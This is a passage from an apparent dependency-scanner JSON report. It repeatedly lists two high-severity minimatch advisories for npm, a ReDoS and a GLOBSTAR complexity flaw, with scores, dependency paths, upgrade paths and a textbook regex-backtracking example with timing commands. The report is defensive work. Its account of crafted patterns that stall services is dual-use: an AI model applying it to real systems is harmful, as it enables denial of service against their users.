`minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ 